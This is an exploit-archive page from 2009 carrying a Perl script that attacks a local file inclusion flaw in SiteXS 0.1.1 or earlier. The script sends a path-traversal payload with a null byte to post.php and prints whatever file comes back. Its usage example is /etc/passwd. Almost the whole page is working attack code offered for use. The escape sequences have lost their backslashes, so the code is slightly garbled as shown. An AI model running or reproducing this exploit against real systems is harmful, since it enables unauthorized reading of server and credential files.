[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SiteXS <= 0.1.1 (type) Local File Inclusion Exploit
# Published : 2009-01-26
# Author : darkjoker
# Previous Title : Wazzum Dating Software (userid) SQL Injection Vulnerability
# Next Title : ClickAuction (Auth Bypass) Remote SQL Injection Vulnerability


# --+++==========================================================+++--
# --+++====== SiteXS <= 0.1.1 Local File Inclusion Exploit ======+++--
# --+++==========================================================+++--


#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

sub usage ()
{
	die "nnSiteXS <= 0.1.1 Local File Inclusion Exploit".
	    "n[+] Author  : darkjoker".
	    "n[+] Site    : http://darkjoker.net23.net".
	    "n[+] Download: http://heanet.dl.sourceforge.net/sourceforge/sitexs/sitexs-0.1.1.tar.gz".
	    "n[+] Usage   : perl ${0} <hostname> <path> <file>".
	    "n[+] Ex.     : perl ${0} localhost /SiteXS /etc/passwd".
	    "n[+] Notes   : Have funnn";
}

my ($host, $path, $file) = @ARGV;

usage if (!$file);

my $sock = new IO::Socket::INET (
	PeerHost => $host,
	PeerPort => 80,
	Proto    => "tcp",
);

my $up = "../"x10;

$file =~ s/^/// if ($file =~ /^//);

my $varz = "type=${up}${file}%00";

my $post = "POST ${path}/post.php HTTP/1.1rn".
	"Host:	${host}rn".
	"Connection: Closern".
	"Content-Type: application/x-www-form-urlencodedrn".
	"Content-Length: " . length ($varz) . "rnrn".
	$varz;

print $sock $post;

my $w = 0;

while (<$sock>)
{
	$w = 1 if ($w < 0);
	$w = -1 if ($_ =~ /Content-Type: text/html/);
	$w = 0 if ($_ =~ /<br />/);
	print $_ if ($w == 1);

}

print "nn";

close ($sock);

# www.Syue.com [2009-01-26]